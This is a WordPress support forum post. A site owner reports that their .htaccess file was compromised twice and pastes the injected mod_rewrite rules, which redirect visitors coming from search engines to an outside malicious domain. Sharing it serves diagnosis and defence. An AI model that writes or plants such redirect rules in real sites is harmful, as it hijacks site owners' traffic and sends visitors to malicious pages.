Wp .htaccess is hacked for the 2nd time
-
Hello,
I’m using the latest version of wp. ie., v3.2.1
Site hosted in Godaddy hosting.Previously my wp .htaccess was modified by someone,
I removed the code and now again it’s modified with the same code.
This code redirects my search engine traffic to some other website.I have mentioned about this previously here:
https://www.wpsecuritylock.com/wordpress-3-2-gershwin-is-released/comment-page-1/#comment-4687
I really don’t know how it’s been done.Please advise me how to prevent this from happening again.
<IfModule mod_rewrite.c> RewriteEngine On RewriteOptions inherit RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*msn.com*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*bing.com*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*live.com*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*aol.com*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*altavista.com*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*excite.com*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC] RewriteRule .* http : // sokoloperkovuskeci . com / in . php ? g = 56 [R,L] </IfModule>
- The topic ‘Wp .htaccess is hacked for the 2nd time’ is closed to new replies.